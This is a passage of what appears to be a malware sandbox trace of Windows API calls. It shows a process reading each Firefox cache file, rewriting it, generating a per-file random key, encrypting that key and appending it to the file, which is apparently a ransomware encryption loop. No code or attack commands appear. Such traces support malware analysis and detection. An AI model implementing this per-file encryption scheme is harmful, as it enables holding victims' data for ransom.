lDistanceToMove=-4409, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.785] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f09c8*, nNumberOfBytesToWrite=0x1139, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f09c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1139, lpOverlapped=0x0) returned 1 [0184.785] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1139 [0184.786] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.786] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e9ae0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e9ae0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.786] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e9ae0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e9ae0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.786] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.786] CloseHandle (hObject=0x1b80) returned 1 [0184.790] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e96c0 | out: pbBuffer=0x30e96c0) returned 1 [0184.790] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0184.790] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\BC1DC3B5416AC37B28316AF5F93381568531D592", dwFileAttributes=0x80) returned 1 [0184.791] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ea218 [0184.791] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.791] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0xadd2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0xadd2, lpOverlapped=0x0) returned 1 [0184.835] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-44498, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.835] WriteFile (in: hFile=0x1b80, lpBuffer=0x2ef5df8*, nNumberOfBytesToWrite=0xadd2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef5df8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xadd2, lpOverlapped=0x0) returned 1 [0184.836] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xadd2 [0184.836] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.836] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e96c0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e96c0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.836] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e96c0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e96c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.836] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.837] CloseHandle (hObject=0x1b80) returned 1 [0184.838] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e94b0 | out: pbBuffer=0x30e94b0) returned 1 [0184.838] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.838] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\BB105FFB48FE0C718D14620470C9B2C30F7A0D9E", dwFileAttributes=0x80) returned 1 [0184.838] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30eae78 [0184.838] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.839] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xb99, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xb99, lpOverlapped=0x0) returned 1 [0184.876] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2969, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.877] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0428*, nNumberOfBytesToWrite=0xb99, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0428*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb99, lpOverlapped=0x0) returned 1 [0184.877] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb99 [0184.877] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.877] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e94b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e94b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.878] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e94b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e94b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.878] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.878] CloseHandle (hObject=0x1b80) returned 1 [0184.899] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e9f00 | out: pbBuffer=0x30e9f00) returned 1 [0184.899] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0184.899] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\BAD48B4A98F040CB709A10AB911B7F5951B80382", dwFileAttributes=0x80) returned 1 [0184.900] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ea848 [0184.900] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.900] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x20df, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x20df, lpOverlapped=0x0) returned 1 [0184.906] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-8415, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.906] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f1968*, nNumberOfBytesToWrite=0x20df, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f1968*, lpNumberOfBytesWritten=0x2e1f9bc*=0x20df, lpOverlapped=0x0) returned 1 [0184.907] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x20df [0184.907] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.907] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e9f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e9f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.907] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e9f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e9f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.908] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.908] CloseHandle (hObject=0x1b80) returned 1 [0184.909] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e79e0 | out: pbBuffer=0x30e79e0) returned 1 [0184.909] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.910] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\BA90A3EEAB5FC25FB5148522091B7322A939B787", dwFileAttributes=0x80) returned 1 [0184.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e9df8 [0184.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.910] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xabf, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xabf, lpOverlapped=0x0) returned 1 [0184.911] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2751, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.911] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0348*, nNumberOfBytesToWrite=0xabf, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0348*, lpNumberOfBytesWritten=0x2e1f9bc*=0xabf, lpOverlapped=0x0) returned 1 [0184.912] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xabf [0184.912] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.912] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e79e0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e79e0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.912] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e79e0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e79e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.912] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.913] CloseHandle (hObject=0x1b80) returned 1 [0184.914] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e7cf8 | out: pbBuffer=0x30e7cf8) returned 1 [0184.914] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0184.914] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B9DE43EAF8329D78C093EF485587817B97E8DC7B", dwFileAttributes=0x80) returned 1 [0184.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8640 [0184.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.914] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x113c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x113c, lpOverlapped=0x0) returned 1 [0184.922] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4412, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.922] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f09c8*, nNumberOfBytesToWrite=0x113c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f09c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x113c, lpOverlapped=0x0) returned 1 [0184.922] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x113c [0184.922] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.922] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e7cf8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e7cf8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.923] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e7cf8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e7cf8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.923] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.923] CloseHandle (hObject=0x1b80) returned 1 [0184.925] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e79e0 | out: pbBuffer=0x30e79e0) returned 1 [0184.925] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.925] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B95D081B72EDFF97168410B49B9BF40A2F2A7751", dwFileAttributes=0x80) returned 1 [0184.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e7cf8 [0184.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.925] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xf8a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xf8a, lpOverlapped=0x0) returned 1 [0184.931] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.931] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0818*, nNumberOfBytesToWrite=0xf8a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0818*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf8a, lpOverlapped=0x0) returned 1 [0184.931] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf8a [0184.931] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.932] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e79e0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e79e0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.932] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e79e0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e79e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.932] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.932] CloseHandle (hObject=0x1b80) returned 1 [0184.934] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e8d78 | out: pbBuffer=0x30e8d78) returned 1 [0184.934] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.934] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B90CC5F0B9E25885ADD0082E4B8471A6B94024E5", dwFileAttributes=0x80) returned 1 [0184.934] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e79e0 [0184.934] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.935] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xefd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xefd, lpOverlapped=0x0) returned 1 [0184.945] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3837, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.945] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0788*, nNumberOfBytesToWrite=0xefd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0788*, lpNumberOfBytesWritten=0x2e1f9bc*=0xefd, lpOverlapped=0x0) returned 1 [0184.946] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xefd [0184.946] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.946] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e8d78*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e8d78*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.946] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e8d78*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e8d78*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.946] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.947] CloseHandle (hObject=0x1b80) returned 1 [0184.952] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e79e0 | out: pbBuffer=0x30e79e0) returned 1 [0184.952] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0184.952] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B90A15D9FAA6AD4EB5CB437EEADA87761E0746DB", dwFileAttributes=0x80) returned 1 [0184.953] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8d78 [0184.953] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.953] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x113e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x113e, lpOverlapped=0x0) returned 1 [0184.962] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4414, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.962] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f09c8*, nNumberOfBytesToWrite=0x113e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f09c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x113e, lpOverlapped=0x0) returned 1 [0184.962] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x113e [0184.962] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.962] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e79e0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e79e0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.963] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e79e0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e79e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.963] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.963] CloseHandle (hObject=0x1b80) returned 1 [0184.965] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e79e0 | out: pbBuffer=0x30e79e0) returned 1 [0184.965] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.965] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B8D9A576298DCD2595490BC00055EE14D079ED57", dwFileAttributes=0x80) returned 1 [0184.965] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8430 [0184.965] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.966] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0184.967] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.967] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ef880*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0184.967] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x52a [0184.967] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.967] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e79e0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e79e0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.968] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e79e0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e79e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.968] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.968] CloseHandle (hObject=0x1b80) returned 1 [0184.970] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e72a8 | out: pbBuffer=0x30e72a8) returned 1 [0184.970] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0184.970] SetFileAttributesW 